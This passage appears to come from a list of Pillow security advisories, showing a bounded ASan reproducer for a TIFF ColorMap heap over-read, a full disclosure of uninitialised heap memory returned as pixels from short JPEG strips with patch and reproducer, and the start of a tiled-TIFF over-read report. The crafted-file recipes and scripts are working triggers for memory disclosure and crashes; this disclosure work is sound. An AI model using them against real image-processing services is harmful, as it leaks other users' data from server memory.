with a **30-second wall limit, 10-second hard CPU limit, core dumps disabled, and 1 MiB regular-file-size limit**. The parent supplies a clean allowlisted environment, isolated Python startup (`-I -S -B`), an empty temporary working directory, no stdin, and a 128 KiB combined pipe-output cap. Timeout/output-cap handling kills the child's process group. These limits are containment measures, not a security sandbox. No TIFF is written to disk. Temporary directories are removed; raw diagnostics are never forwarded or persisted. The compressed/base64 constants below are the **unchanged original benign TIFF fixtures**, with decompressed size and SHA-256 checks. There are no external fixture dependencies. The standalone script supplied with this description is byte-for-byte the same as this block. **Separate August 31, 2026 inline validation:** the exact embedded standalone script passed all three fixed cases: one ASan READ of 131,072 bytes crossing a 1,536-byte allocation and two passing controls. Child guards and limits passed, with no timeout. This is additional bounded evidence, separate from earlier runs; no new build, install, full historical chain or older-version integration replay was performed. ## Expected results from the standalone script Cases run in order: `colormap8`, `colormap_absent`, `colormap16`. Every printed line should have `guard_passed: true`, `within_limits: true`, and `expected_observation: true`. The first two require successful saves and the expected retained sample-depth/ColorMap fields. The last requires ASAN exit 86 **and** the specific READ/extent/stack signatures, not merely any crash. Only the two controls inspect encoded metadata; the unsafe case never exports an encoded TIFF. The parent exits 0 only if all three expectations match; 1 means a case did not match (including guard failure or a changed ASAN diagnostic), and 2 means parent setup failed. A failed guard, timeout, unrelated crash, or missing diagnostic is **inconclusive**, not evidence that the defect is absent. Do not bypass the ASAN guard to obtain an output TIFF. ## Complete standalone reproducer ```python import argparse import base64 import ctypes import hashlib import io import json import os from pathlib import Path import platform import resource import selectors import struct import subprocess import sys import tempfile import time import zlib FIXTURES = {'colormap8': [1684, 'fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c', 'eNrz9NRi4GBgYOBmYGBkYWAEssAYic3EyAymQaqYoWzWBgYGNigbhAWh6iexMTCIIomLIZkjDmUzAbEMkhoHIJsBiCYxjIJRMApGwSgY2QAAPu0DiA=='], 'colormap_absent': [137, 'bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556', 'eNrz9NRi4GBgYOBiYGBkYWAEssAYic3EyAymBYCYGcpmbWBgYIOyQVgQqr4NiEWRxMWQzBGHspmBWAZJDQOEBgDj8wKm'], 'colormap16': [1685, '5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d', 'eNrz9NRi4GBgYOBmYGBkYWAEssAYic3EyAymBYCYGcpmbWBgYIOyQVgQqn4SGwODKJK4GJI54lA2MxDLIKlxALJBgpMYRsEoGAWjYBSMZACsEwB78wOS']} PACKAGE_PINS = {'PIL/ImageFile.py': '983c4f35e0c51046d4c636998ec77000cd2da208870a03b205e104cd0b2df629', 'PIL/_version.py': 'fe7d75d4019326aca24ae57d4ab190cd62ba1225b175051119cd61cd87e42b1d', 'PIL/__init__.py': '7361b6ad3878589affe5956e4a4da24d71398b0891fd3a8c15e9362217b4ca01', 'PIL/features.py': '14f904863b416914aaa6480735876ec31885b7272ee0d8d92b010c5b1b5e98f5', 'PIL/TiffTags.py': '766dea350424b9a2caab3513be794689403c2b7222cd038006f69cff08edb45d', 'PIL/TiffImagePlugin.py': '440b2a3a80b280d18cda3fc70d9fd206e2fa44e9897c9550f70b51395047b273', 'PIL/_imaging.cpython-311-darwin.so': '6d09b1fb925779fff32b5b8a4c348a42c201d350d0e0fd8cdc00410b6779e596', 'PIL/Image.py': '04af3f2db7ffdd61e829fa7aa8f5481d394a0a4129a8fd8aa5b13908928fcd6d', 'PIL/.dylibs/libtiff.6.dylib': 'e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1', 'pillow-12.3.0.dist-info/WHEEL': 'de2586b77651a8bf1b7778c3609979713ebc901784a837fca80ed4969fc82e57', 'pillow-12.3.0.dist-info/METADATA': '8fc07146cab33ef7582361dab6eac596d340b03ec648f18217da7894f73838c8'} CASES = tuple(FIXTURES) WALL_SECONDS = 30 FILE_LIMIT = 1024 * 1024 PIPE_LIMIT = 128 * 1024 def limits(): resource.setrlimit(resource.RLIMIT_CORE, (0, 0)) resource.setrlimit(resource.RLIMIT_CPU, (10, 10)) resource.setrlimit(resource.RLIMIT_FSIZE, (FILE_LIMIT, FILE_LIMIT)) def fixture(case): size, expected_hash, encoded = FIXTURES[case] decoder = zlib.decompressobj() data = decoder.decompress(base64.b64decode(encoded, validate=True), size + 1) if (len(data) != size or not decoder.eof or decoder.unused_data or decoder.unconsumed_tail or hashlib.sha256(data).hexdigest() != expected_hash): raise ValueError(\"fixture integrity check failed\") return data def field(data, wanted): if len(data) < 8 or data[:4] not in (b\"II*\\0\", b\"MM\\0*\"): raise ValueError(\"not classic TIFF\") endian = \"<\" if data[:2] == b\"II\" else \">\" directory = struct.unpack_from(endian + \"I\", data, 4)[0] count = struct.unpack_from(endian + \"H\", data, directory)[0] if directory + 2 + count * 12 + 4 > len(data): raise ValueError(\"truncated directory\") for number in range(count): offset = directory + 2 + number * 12 tag, kind, length = struct.unpack_from(endian + \"HHI\", data, offset) if tag != wanted: continue size = {1: 1, 2: 1, 3: 2, 4: 4, 7: 1}[kind] * length start = offset + 8 if size <= 4 else struct.unpack_from(endian + \"I\", data, offset + 8)[0] if start + size > len(data): raise ValueError(\"truncated field\") return kind, length, data[start:start + size], endian return None def checked_image_module(package): if (sys.implementation.name != \"cpython\" or sys.version_info[:2] != (3, 11) or sys.platform != \"darwin\" or platform.machine() != \"arm64\"): raise RuntimeError(\"requires macOS ARM64 CPython 3.11\") for relative, expected in PACKAGE_PINS.items(): path = (package / relative).resolve(strict=True) if not path.is_relative_to(package) or hashlib.sha256(path.read_bytes()).hexdigest() != expected: raise RuntimeError(\"reviewed wheel file mismatch\") process_symbols = ctypes.CDLL(None) for symbol in (\"__asan_init\", \"__asan_address_is_poisoned\", \"__asan_region_is_poisoned\"): getattr(process_symbols, symbol) sys.path.insert(0, str(package)) from PIL import Image, features if (Image.__version__ != \"12.3.0\" or features.version(\"libtiff\") != \"4.7.1\" or Path(Image.__file__).resolve() != package / \"PIL/Image.py\" or Path(Image.core.__file__).resolve() != package / \"PIL/_imaging.cpython-311-darwin.so\"): raise RuntimeError(\"unexpected Pillow or libtiff\") return Image def emit(descriptor, message): os.write(descriptor, (json.dumps(message, sort_keys=True) + \"\\n\").encode(\"ascii\")) def child(case, package): descriptor = os.dup(1) with open(os.devnull, \"wb\") as quiet: os.dup2(quiet.fileno(), 1) try: image_module = checked_image_module(package) data = fixture(case) with image_module.open(io.BytesIO(data)) as image: image.load() if image.size != (1, 1) or image.info.get(\"compression\") != \"packbits\": raise ValueError(\"unexpected input geometry\") bits = 8 if case == \"colormap8\" else 16 if image.tag_v2[258] != (bits,): raise ValueError(\"unexpected sample width\") if case == \"colormap_absent\": if 320 in image.tag_v2: raise ValueError(\"unexpected ColorMap\") elif image.tag_v2[320] != (0,) * 768: raise ValueError(\"unexpected ColorMap planes\") emit(descriptor, {\"ready\": True}) with io.BytesIO() as output: image.save(output, format=\"TIFF\") if case == \"colormap16\": emit(descriptor, {\"unsafe_save_returned\": True}) return 1 encoded = output.getvalue() saved_bits = field(encoded, 258) map_field = field(encoded, 320) bits_preserved = (saved_bits is not None and saved_bits[:2] == (3, 1) and struct.unpack(saved_bits[3] + \"H\", saved_bits[2])[0] == bits) map_preserved = (map_field is None if case == \"colormap_absent\" else map_field is not None and map_field[:2] == (3, 768) and map_field[2] == bytes(1536)) emit(descriptor, {\"control_passed\": bool(bits_preserved and map_preserved)}) return 0 except Exception: emit(descriptor, {\"child_failed\": True}) return 2 finally: os.close(descriptor) def run_case(case, package, runtime): with tempfile.TemporaryDirectory(prefix=\"pillow-check-\") as temporary: environment = { \"PATH\": \"/usr/bin:/bin:/usr/sbin:/sbin\", \"HOME\": temporary, \"TMPDIR\": temporary, \"LC_ALL\": \"C\", \"DYLD_INSERT_LIBRARIES\": str(runtime), \"ASAN_OPTIONS\": \"detect_leaks=0:halt_on_error=1:abort_on_error=0:exitcode=86:\" \"disable_coredump=1:symbolize=1:malloc_fill_byte=165:\" \"max_malloc_fill_size=1048576:log_path=stderr\", } command = [sys.executable, \"-I\", \"-S\", \"-B\", str(Path(__file__).resolve()), \"--package-path\", str(package), \"--asan-runtime\", str(runtime), \"--child\", case] output = bytearray() diagnostics = bytearray() deadline = time.monotonic() + WALL_SECONDS with subprocess.Popen(command, cwd=temporary, env=environment, stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.PIPE, preexec_fn=limits, start_new_session=True) as process: bounded = True try: with selectors.DefaultSelector() as selector: selector.register(process.stdout, selectors.EVENT_READ, output) selector.register(process.stderr, selectors.EVENT_READ, diagnostics) while selector.get_map(): remaining = deadline - time.monotonic() if remaining <= 0: raise TimeoutError for key, events in selector.select(min(remaining, 0.25)): chunk = os.read(key.fileobj.fileno(), 8192) if not chunk: selector.unregister(key.fileobj) else: key.data.extend(chunk) if len(output) + len(diagnostics) > PIPE_LIMIT: raise BufferError process.wait(timeout=max(0.001, deadline - time.monotonic())) except (TimeoutError, BufferError, subprocess.TimeoutExpired): bounded = False try: os.killpg(process.pid, 9) except ProcessLookupError: pass process.wait() status = process.returncode try: messages = [json.loads(line) for line in output.splitlines()] except (ValueError, UnicodeError): messages = [] ready = bool(messages and messages[0] == {\"ready\": True}) if case == \"colormap16\": observed = bool(bounded and ready and status == 86 and len(messages) == 1 and b\"AddressSanitizer: heap-buffer-overflow\" in diagnostics and b\"READ of size 131072\" in diagnostics and b\"0 bytes after 1536-byte region\" in diagnostics and b\"PyImaging_LibTiffEncoderNew\" in diagnostics and b\"_TIFFmemcpy\" in diagnostics) else: observed = bool(bounded and ready and status == 0 and messages == [{\"ready\": True}, {\"control_passed\": True}] and b\"AddressSanitizer:\" not in diagnostics) output.clear() diagnostics.clear() return {\"case\": case, \"expected_observation\": observed, \"guard_passed\": ready, \"within_limits\": bounded} def main(): parser = argparse.ArgumentParser(description='Fixed ColorMap extent mismatch: controls first, ASAN-only trigger.') parser.add_argument(\"--package-path\", required=True, type=Path, help=\"reviewed existing installation root containing PIL\") parser.add_argument(\"--asan-runtime\", required=True, type=Path, help=\"reviewed existing compatible ASAN dylib; never loaded late\") parser.add_argument(\"--child\", choices=CASES, help=argparse.SUPPRESS) arguments = parser.parse_args() if arguments.child: limits() return child(arguments.child, arguments.package_path.resolve()) try: package = arguments.package_path.resolve(strict=True) runtime = arguments.asan_runtime.resolve(strict=True) if not package.is_dir() or not runtime.is_file(): raise ValueError(\"invalid existing paths\") for case in CASES: fixture(case) results = [run_case(case, package, runtime) for case in CASES] except Exception: print(json.dumps({\"setup_failed\": True})) return 2 for result in results: print(json.dumps(result, sort_keys=True)) return 0 if all(result[\"expected_observation\"] for result in results) else 1 if __name__ == \"__main__\": raise SystemExit(main()) ```"}, {"id": "CVE-2026-112897", "fix_versions": ["13.0.0"], "aliases": ["GHSA-q45j-58j2-45rg"], "description": "``` ============================================================================ TiffDecode returns uninitialized memory as pixels for short JPEG strips Location: src/libImaging/TiffDecode.c:554 in _decodeStrip() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` Pillow hands back leftover process memory as image pixels when it opens a small crafted TIFF file. Anyone who can get an application to open their image, and can see something produced from its pixels (a thumbnail, a preview, a converted copy), can read heap memory that the process had previously used and freed. This works in the default configuration: opening and loading the 478-byte file succeeds with no error or warning, and every row below the first eight holds stale memory instead of picture content. The bug is in `_decodeStrip()` in `src/libImaging/TiffDecode.c`, and `_decodeTile()` has the same shape. The function `realloc()`s `state->buffer` to `TIFFStripSize()` bytes without initialising it and calls `TIFFReadEncodedStrip()`. Whenever that call does not return -1, it copies all `RowsPerStrip` rows of the buffer into the image. libtiff's JPEG codec only warns when the JPEG embedded in a strip has fewer rows than the strip, and Pillow silences libtiff warnings. The codec decodes the rows that exist and still returns the full strip size, so the untouched remainder is copied out as pixels. libtiff's Group 4 fax codec behaves the same way for a stream that ends early. The attached reproducer builds a 256\u00d7256 TIFF whose single strip or tile is a 256\u00d78 JPEG. Before loading it, the script frees buffers filled with `b\"LEAK\"`. It then finds 15,872 copies of `LEAK` in rows 8\u2013255 of the decoded image (the same freed chunk was reused in 500 of 500 runs). Under glibc's `MALLOC_PERTURB_`, those rows are entirely the allocator's fill byte. A well-formed control file decodes correctly in both cases. This is a read of uninitialised heap memory, not memory corruption. Each strip can disclose up to width \u00d7 `RowsPerStrip` bytes, and what comes back depends on the allocator's state at the time. The strip path was introduced in e91b851fdc1c (\"Add reading old-JPEG compressed TIFFs\", first released in Pillow 6.0.0). The tile path has had the same pattern since f0436a4ddc95 (Pillow 5.3.0). ## Details `src/libImaging/TiffDecode.c` decodes compressed TIFFs through libtiff into a strip (or tile) buffer that it `realloc()`s to `TIFFStripSize()` bytes and never initialises, and then copies all `RowsPerStrip` rows of that buffer into the image whenever `TIFFReadEncodedStrip()` does not return -1. libtiff's JPEG codec does not fail when the JPEG stream inside a strip has fewer rows than the strip: it decodes the rows that exist and returns the full strip size. The rows it did not write are whatever the heap held before, and Pillow returns them as pixels. A 478-byte file shows it: a classic little-endian TIFF, 256\u00d7256, `BitsPerSample=8`, `Compression=7`, `PhotometricInterpretation=1`, `RowsPerStrip=256`, one strip whose data is a baseline JPEG of 256\u00d7**8** pixels (as written by `Image.new(\"L\",(256,8),200).save(\u2026,\"JPEG\")`). `Image.open(BytesIO(data)).load()` succeeds with default settings (compressed TIFFs always take the libtiff path). Rows 0\u20137 of the result are the JPEG content (value 200); the remaining 63488 bytes of `im.tobytes()` are heap garbage: run under glibc's `MALLOC_PERTURB_=1` they are all `0xFE`, under `MALLOC_PERTURB_=170` all `0x55` (the fresh-`malloc` fill byte), and in a process that has just freed buffers containing `b\"LEAK\"` they contain 15872 copies of `LEAK`. Feeding the same file to libtiff 4.5.0 directly confirms the library side: `TIFFReadEncodedStrip(t, 0, buf, 65536)` prints `JPEGPreDecode: Warning, Improper JPEG strip/tile size, expected 256x256, got 256x8.`, returns 65536, and leaves 63488 of the 65536 buffer bytes untouched. Pillow installs `TIFFSetWarningHandler(NULL)` (`TiffDecode.c:682`), so the warning is not visible either. The strip path: ```c // src/libImaging/TiffDecode.c:552 /* realloc to fit whole strip */ /* malloc check above */ new_data = realloc(state->buffer, state->bytes); // state->bytes = TIFFStripSize() \u2026 state->buffer = new_data; for (; state->y < state->ysize; state->y += rows_per_strip) { \u2026 if (TIFFReadEncodedStrip( tiff, TIFFComputeStrip(tiff, state->y, plane), (tdata_t)state->buffer, strip_size ) == -1) { \u2026 return -1; } \u2026 // iterate over each row in the strip and stuff data into image for (strip_row = 0; strip_row < MIN((INT32)rows_per_strip, state->ysize - state->y); strip_row++) { \u2026 shuffler( (UINT8 *)im->image[state->y + state->yoff + strip_row] + state->xoff * im->pixelsize, state->buffer + strip_row * row_byte_size, state->xsize ); ``` `state->buffer` arrives here as the one-row `calloc` made by `decode.c:230` (`(bits*xsize+7)/8` = 256 bytes for the example). The `realloc` to 65536 bytes hands back a different, uninitialised chunk; nothing zeroes it. `TIFFReadEncodedStrip()` returns the nominal strip size on success, not the number of rows produced, and the only check is `== -1`, so the row loop unconditionally copies 256 rows \u00d7 256 bytes into `im->image` (which itself is zeroed by `core.new`, so the garbage provably comes from `state->buffer`). `_decodeTile()` has the same shape (`TiffDecode.c:448` `realloc` to `TIFFTileSize()`, then `tile_length` rows copied after each `TIFFReadTile()` at 460\u2013488). For a well-formed file the JPEG inside the strip is 256\u00d7256, libtiff fills all 65536 bytes and the copy is correct. The malicious file differs only in the SOF height of the embedded JPEG; libtiff treats \"JPEG smaller than strip\" as a warning, clamps the row count to the JPEG height, and reports success. JPEG is not the only libtiff codec that succeeds on a short strip. `Fax4Decode` (`Compression=4`) returns success for a T.6 stream that ends early: a 133-byte 512\u00d7256 1-bit TIFF whose strip is the Group 4 stream of a 512\u00d716 image loads without error, libtiff writes 17 rows (1088 bytes) of the 16384-byte buffer (`Fax4Decode: Warning, Premature EOL at line 16`, return value 16384) and the other 15296 bytes are again heap contents. LZW, Deflate, PackBits, Group 3 and CCITT RLE were checked and do return -1 on short data, so Pillow raises `OSError` for those. The strip path was introduced in `e91b851fdc1c` (\"Add reading old-JPEG compressed TIFFs\", 2018-12-08), first released in Pillow 6.0.0, which replaced row-by-row `TIFFReadScanline()` (where libtiff errors on the first missing row) with the whole-strip `realloc()` and copy. The tile path has had the same shape since it was added in `f0436a4ddc95` (2018-07-02, Pillow 5.3.0). ## Impact Any application that opens attacker-supplied images with Pillow in the default configuration and returns something derived from the pixels (thumbnail, preview, format conversion, OCR text) discloses freed heap memory of the worker process to the uploader: everything below the rows the embedded JPEG/G4 stream actually encodes, up to `ImageWidth \u00d7 RowsPerStrip \u00d7 SamplesPerPixel` bytes per strip and tens of MB per image within the default `MAX_IMAGE_PIXELS`. `load()` raises nothing, so the application has no signal that the image is malformed. What comes back depends on allocator state; in a long-running web worker it is typically recently freed request bodies, other users' decoded image buffers and Python object contents. There is no memory corruption; this is a read of uninitialised (previously used) heap memory, analogous in effect to an out-of-bounds read that lands in pixels. ## Reproducing `repro` is a short Python script that runs against the installed Pillow build with default settings: no rebuild, no sanitizer, no files written. It runs twice, once normally and once re-executing itself under glibc's `MALLOC_PERTURB_=170`, and the last line it prints is `BUG` or `OK`. **Input.** `tiff(jpeg_rows, tiled)` builds a little-endian TIFF in memory. The header declares a 256\u00d7256 8-bit greyscale image with `Compression=7` (JPEG), either as one strip (`RowsPerStrip=256`) or as one 256\u00d7256 tile (`TileWidth`/`TileLength`). The strip or tile is a baseline JPEG of 256\u00d7`jpeg_rows` pixels, all value 200, written by Pillow's own JPEG encoder. For each layout the script builds two files: - **Control:** `jpeg_rows=256`. This is a well-formed file, and libtiff fills the whole 64 KiB strip/tile. - **Crafted:** `jpeg_rows=8`, 478 bytes (strip) or 490 bytes (tile). The only difference is the embedded JPEG's height. libtiff decodes 8 rows (2048 bytes), warns `Improper JPEG strip/tile size` (Pillow silences the warning) and returns the full strip/tile size as success. **Steps.** Each file is opened (the script asserts it takes the `libtiff` decoder). Just before `im.load()` the script allocates and frees six 64 KiB `bytearray`s filled with `b\"LEAK\"`, which leaves freed heap chunks about the size of the buffer that `_decodeStrip()`/`_decodeTile()` is about to `realloc()`. For rows 8\u2013255 it then counts copies of `LEAK` and bytes equal to `0x55` (glibc's fresh-`malloc` fill under `MALLOC_PERTURB_=170`). The files contain no `LEAK` bytes (the script asserts this), so any copy in the image came from freed heap memory. It reports `BUG` if a crafted file shows any `LEAK` in the normal pass, or rows 8\u2013255 entirely `0x55` in the perturbed pass. **Expected output on this tree:** ``` [normal ] strip well-formed (1222 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8' [normal ] strip crafted ( 478 B) rows 8-255: 15872 x b'LEAK', 0/63488 == 0x55, head=b'LEAKLEAK' [normal ] tiled well-formed (1234 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8' [normal ] tiled crafted ( 490 B) rows 8-255: 15872 x b'LEAK', 0/63488 == 0x55, head=b'LEAKLEAK' [perturb] strip well-formed (1222 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8' [perturb] strip crafted ( 478 B) rows 8-255: 0 x b'LEAK', 63488/63488 == 0x55, head=b'UUUUUUUU' [perturb] tiled well-formed (1234 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8' [perturb] tiled crafted ( 490 B) rows 8-255: 0 x b'LEAK', 63488/63488 == 0x55, head=b'UUUUUUUU' BUG ``` `im.load()` succeeds for every file. For the crafted files rows 8\u2013255 are the uninitialised strip/tile buffer, copied as-is into the image. With the attached patch applied, rows 8\u2013255 of the crafted files come back as `\\x00` bytes, with no `LEAK` and no `0x55`, and the script ends with `OK`. The `LEAK` count depends on where glibc places the buffer (the same freed chunk was reused in 500 of 500 runs here); the `MALLOC_PERTURB_` pass does not. The script covers the JPEG codec only. The Group 4 variant in the Details section (`Compression=4`, a T.6 stream that ends early) goes through the same `_decodeStrip()` copy, and the same fix covers it. ## Suggested fix The attached patch zeroes `state->buffer` before each libtiff read in both loops of `src/libImaging/TiffDecode.c` \u2014 before `TIFFReadTile()` in `_decodeTile()` and before `TIFFReadEncodedStrip()` in `_decodeStrip()` \u2014 so rows a codec does not produce are deterministic zeros rather than stale heap: ```diff --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ _decodeTile for (x = state->xoff; x < state->xsize; x += tile_width) { + memset(state->buffer, 0, state->bytes); if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) { @@ _decodeStrip for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; + memset(state->buffer, 0, state->bytes); if (TIFFReadEncodedStrip( ``` A `memset` per strip/tile (rather than one `calloc` after the size is known) is needed because the same buffer is reused for every strip, and a short last strip would otherwise expose the previous strip's rows \u2014 harmless for disclosure, but the per-read `memset` keeps the behaviour uniform at the cost of one extra pass over the buffer. Promoting libtiff warnings to errors via a warning handler is not a good alternative: both codecs only warn (`Improper JPEG strip/tile size`, `Premature EOL`), but so do many legitimate files (unknown tags, bad tag counts), and the return value of `TIFFReadEncodedStrip()` carries no row count to check against. Initialising the buffer covers every codec. `_decodeAsRGBA()` needs no change: `TIFFRGBAImageGet()` fills its whole raster, and JPEG files do not reach it (`JPEGCOLORMODE_RGB` sends them down the strip path). Valid files decode exactly as before; rows a codec does not produce are now black instead of garbage, and nothing that previously loaded now fails. The patch also adds `test_jpeg_short_strip` to `Tests/test_file_libtiff.py`, parametrised over strip and tile, which builds the 256\u00d78-JPEG-in-256\u00d7256 file and asserts rows 8\u2013255 are zero. It is a regression guard for the fixed code rather than a reliable detector of the bug: in a fresh pytest process the unfixed strip variant can pass because the new heap chunk happens to be zero (the tiled variant fails before the fix). With the patch, `Tests/test_file_libtiff.py` and `Tests/test_file_tiff.py` pass and the reproducer prints `OK`. ## The patch Zero the libtiff strip/tile buffer before each TIFFReadEncodedStrip/TIFFReadTile in TiffDecode.c so short strips do not expose uninitialised heap Applies to `src/libImaging/TiffDecode.c` at the commit above. ```diff diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py index 3d804ea4a..67bc96329 100644 --- a/Tests/test_file_libtiff.py +++ b/Tests/test_file_libtiff.py @@ -1162,6 +1162,45 @@ class TestFileLibTiff(LibTiffTestCase): im.load() assert im.size == (950, 975) + @pytest.mark.parametrize(\"tiled\", (False, True)) + def test_jpeg_short_strip(self, tiled: bool) -> None: + # The JPEG data in the strip/tile only contains 8 of the 256 rows that + # RowsPerStrip/TileLength declare. libtiff decodes the rows that exist + # and still reports success, so the remaining rows must be cleared + # rather than left as uninitialised memory. + jpeg = io.BytesIO() + Image.new(\"L\", (256, 8), 200).save(jpeg, \"JPEG\") + jpeg_data = jpeg.getvalue() + + ifd = TiffImagePlugin.ImageFileDirectory_v2() + ifd[256] = 256 # ImageWidth + ifd[257] = 256 # ImageLength + ifd[258] = 8 # BitsPerSample + ifd[259] = 7 # Compression: JPEG + ifd[262] = 1 # PhotometricInterpretation: BlackIsZero + ifd[277] = 1 # SamplesPerPixel + if tiled: + ifd[322] = 256 # TileWidth + ifd[323] = 256 # TileLength + ifd[324] = 0 # TileOffsets + ifd[325] = len(jpeg_data) # TileByteCounts + # Point the tile data at the end of the IFD + ifd[324] = 8 + len(ifd.tobytes(8)) + else: + ifd[278] = 256 # RowsPerStrip + ifd[STRIPOFFSETS] = 0 # Updated by tobytes() to follow the IFD + ifd[279] = len(jpeg_data) # StripByteCounts + + b = io.BytesIO() + ifd.save(b) + b.write(jpeg_data) + + with Image.open(b) as im: + assert im.tile[0][0] == \"libtiff\" + im.load() + assert im.crop((0, 0, 256, 8)).getextrema() == (200, 200) + assert im.crop((0, 8, 256, 256)).getextrema() == (0, 0) + def test_orientation(self) -> None: with Image.open(\"Tests/images/g4_orientation_1.tif\") as base_im: for i in range(2, 9): diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c index 8a57c523d..d1d6bfbbb 100644 --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ -457,6 +457,11 @@ _decodeTile( for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; for (x = state->xoff; x < state->xsize; x += tile_width) { + // Some codecs (e.g. JPEG, Group 4) succeed on a tile that decodes + // to fewer rows than the tile length, leaving the rest of the + // buffer untouched. Clear it so that uninitialised memory is not + // copied into the image. + memset(state->buffer, 0, state->bytes); if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) { TRACE((\"Decode Error, Tile at %dx%d\\n\", x, y)); state->errcode = IMAGING_CODEC_BROKEN; @@ -563,6 +568,11 @@ _decodeStrip( int plane; for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; + // Some codecs (e.g. JPEG, Group 4) succeed on a strip that decodes + // to fewer rows than RowsPerStrip, leaving the rest of the buffer + // untouched. Clear it so that uninitialised memory is not copied + // into the image. + memset(state->buffer, 0, state->bytes); if (TIFFReadEncodedStrip( tiff, TIFFComputeStrip(tiff, state->y, plane), ``` ## The reproducer Reproducer \u2014 repro, 2,688 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # Pillow TiffDecode.c _decodeStrip/_decodeTile: strip/tile buffer is realloc()ed, never # initialised, and copied whole into the image even when libtiff's JPEG codec decoded # fewer rows than RowsPerStrip/TileLength. Two independent signals: # pass 1 (normal heap): seed freed 64 KiB chunks with b\"LEAK\" just before load() and # count copies of LEAK in the decoded pixels (file contains no such bytes); # pass 2 (same script re-run under glibc MALLOC_PERTURB_=170): fresh malloc memory is # 0x55, so rows that come back all-0x55 are provably uninitialised heap. import gc, io, os, struct, subprocess, sys from PIL import Image W = H = 256; ROWS = 8 perturbed = os.environ.get(\"MALLOC_PERTURB_\") == \"170\" if not perturbed: print(\"Pillow\", Image.__version__, Image.core.__file__) def tiff(jpeg_rows, tiled): j = io.BytesIO(); Image.new(\"L\", (W, jpeg_rows), 200).save(j, \"JPEG\"); j = j.getvalue() tags = [(256,3,1,W), (257,3,1,H), (258,3,1,8), (259,3,1,7), (262,3,1,1), (277,3,1,1)] tags += ([(322,3,1,W), (323,3,1,H), (324,4,1,0), (325,4,1,len(j))] if tiled else [(273,4,1,0), (278,3,1,H), (279,4,1,len(j))]) tags.sort(); off = 8 + 2 + 12*len(tags) + 4 tags = [(t,ty,c, off if t in (273,324) else v) for t,ty,c,v in tags] ifd = struct.pack(\" 0 or (perturbed and n55 == len(below))): bug = True if not perturbed: r = subprocess.run([sys.executable, sys.argv[0]], env={**os.environ, \"MALLOC_PERTURB_\": \"170\"}, capture_output=True, text=True) lines = r.stdout.rstrip().split(\"\\n\") print(\"\\n\".join(lines[:-1])); sys.stderr.write(r.stderr) bug = bug or lines[-1] == \"BUG\" print(\"BUG\" if bug else \"OK\") ``` ---"}, {"id": "CVE-2026-112395", "fix_versions": ["13.0.0"], "aliases": ["GHSA-462x-pgg6-55fp"], "description": "### Summary Pillow's libImaging `_decodeTile` decoder, used to decode tiled TIFF images, allocates a per-tile buffer using `realloc(state->buffer, TIFFTileSize(tiff))`. After each `TIFFReadTile` it then iterates `tile_y` from 0 up to `current_tile_length` and calls the configured row unpacker (here `copy4`) with the source pointer `state->buffer + tile_y * row_byte_size`. When libtiff returns a `tile_bytes_size` smaller than the worst-case `row_byte_size * tile_length`, the inner stride-and-copy loop walks past the realloc'd region and `copy4` performs a 1024-byte `memcpy` that reads up to `(tile_length-1) * row_byte_size + row_byte_size` bytes from a buffer sized only to `tile_bytes_size`. The supplied PoC TIFF triggers a 1024-byte over-read exactly 0 bytes past a 196608-byte allocation. An attacker who can convince a Pillow-using application to decode a crafted TIFF can trigger a process crash (DoS) and may cause adjacent heap memory to be copied into the decoded pixel buffer. ### Details Pillow's TIFF decoder, when libtiff reports the file is tiled, takes the `_decodeTile` path. The function: 1. Asks libtiff for `TIFFTileSize(tiff)` (the bytes-per-tile) and `TIFFTileRowSize(tiff)` (the bytes per row *as stored by libtiff*). 2. Reallocates `state->buffer` to exactly `tile_bytes_size`. 3. For each tile origin `(x, y)` and each plane, calls `TIFFReadTile` into `state->buffer`, then walks the tile row by row, calling the configured `ImagingShuffler` (here `copy4`) on each row's worth of source bytes. The validation done before the loop is: ```c if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) { state->errcode = IMAGING_CODEC_BROKEN; return -1; } ``` This rejects oversized libtiff tiles, but it does **not** reject *undersized* ones \u2014 i.e. the case where libtiff returns a `tile_bytes_size` strictly **less** than `row_byte_size * tile_length`. The loop body, however, indexes into the buffer assuming the buffer is at least `row_byte_size * tile_length` bytes long. ### Vulnerable Code ```c // src/libImaging/TiffDecode.c:446-490 \u2014 _decodeTile new_data = realloc(state->buffer, state->bytes); // bytes = tile_bytes_size if (!new_data) { ... } state->buffer = new_data; for (y = state->yoff; y < state->ysize; y += tile_length) { for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; for (x = state->xoff; x < state->xsize; x += tile_width) { if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) { ... } current_tile_width = min((INT32)tile_width, state->xsize - x); current_tile_length = min((INT32)tile_length, state->ysize - y); for (tile_y = 0; tile_y < current_tile_length; tile_y++) { 